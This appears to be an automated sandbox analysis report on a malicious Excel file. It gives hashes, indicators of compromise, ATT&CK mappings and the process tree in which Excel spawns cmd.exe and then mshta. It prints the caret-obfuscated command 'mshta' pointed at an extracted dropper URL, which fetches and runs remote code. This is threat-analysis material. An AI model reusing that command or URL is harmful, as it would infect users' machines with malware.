4b1800da594032e6944a2b0728eaa50223d1ca0a6eaf3883ce9a0dc05d2e982a

General

Target

4b1800da594032e6944a2b0728eaa50223d1ca0a6eaf3883ce9a0dc05d2e982a.xls
Size

141KB
MD5

110d7ef2b3b5009e6387a7becdc65ad6
SHA1

151e3cb88ac922df8d742b4df8a49e7488d82a99
SHA256

4b1800da594032e6944a2b0728eaa50223d1ca0a6eaf3883ce9a0dc05d2e982a
SHA512

58b0ef00ea8341cc06b3389c8504ea68844f6579b55c93b97dd09ca120ba26e3c2812cf8d21996828173d832b7a38b55c607318df7c10d094435c003077866a4

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fer.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1460	3488	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow pid process

50 2284 mshta.exe

flow	pid	process
50	2284	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

3488 EXCEL.EXE

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
3488	EXCEL.EXE
3488	EXCEL.EXE
3488	EXCEL.EXE
3488	EXCEL.EXE
3488	EXCEL.EXE
3488	EXCEL.EXE
3488	EXCEL.EXE
3488	EXCEL.EXE
3488	EXCEL.EXE
3488	EXCEL.EXE
3488	EXCEL.EXE
3488	EXCEL.EXE
3488	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 3488 wrote to memory of 1492	3488	EXCEL.EXE	splwow64.exe
PID 3488 wrote to memory of 1492	3488	EXCEL.EXE	splwow64.exe
PID 3488 wrote to memory of 1460	3488	EXCEL.EXE	cmd.exe
PID 3488 wrote to memory of 1460	3488	EXCEL.EXE	cmd.exe
PID 1460 wrote to memory of 2284	1460	cmd.exe	mshta.exe
PID 1460 wrote to memory of 2284	1460	cmd.exe	mshta.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\4b1800da594032e6944a2b0728eaa50223d1ca0a6eaf3883ce9a0dc05d2e982a.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3488

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:1492

C:\Windows\SYSTEM32\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1460

C:\Windows\system32\mshta.exe
mshta http://0xb907d607/fer/fer.html
3⤵
- Blocklisted process makes network request
PID:2284

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3488-115-0x00007FFD79DC0000-0x00007FFD79DD0000-memory.dmp

Filesize
64KB

Download
memory/3488-116-0x00007FFD79DC0000-0x00007FFD79DD0000-memory.dmp

Filesize
64KB

Download
memory/3488-117-0x00007FFD79DC0000-0x00007FFD79DD0000-memory.dmp

Filesize
64KB

Download
memory/3488-118-0x00007FFD79DC0000-0x00007FFD79DD0000-memory.dmp

Filesize
64KB

Download
memory/3488-119-0x00007FFD79DC0000-0x00007FFD79DD0000-memory.dmp

Filesize
64KB

Download
memory/3488-128-0x00007FFD76670000-0x00007FFD76680000-memory.dmp

Filesize
64KB

Download
memory/3488-129-0x00007FFD76670000-0x00007FFD76680000-memory.dmp

Filesize
64KB

Download
memory/3488-566-0x00007FFD79DC0000-0x00007FFD79DD0000-memory.dmp

Filesize
64KB

Download
memory/3488-567-0x00007FFD79DC0000-0x00007FFD79DD0000-memory.dmp

Filesize
64KB

Download
memory/3488-568-0x00007FFD79DC0000-0x00007FFD79DD0000-memory.dmp

Filesize
64KB

Download
memory/3488-569-0x00007FFD79DC0000-0x00007FFD79DD0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads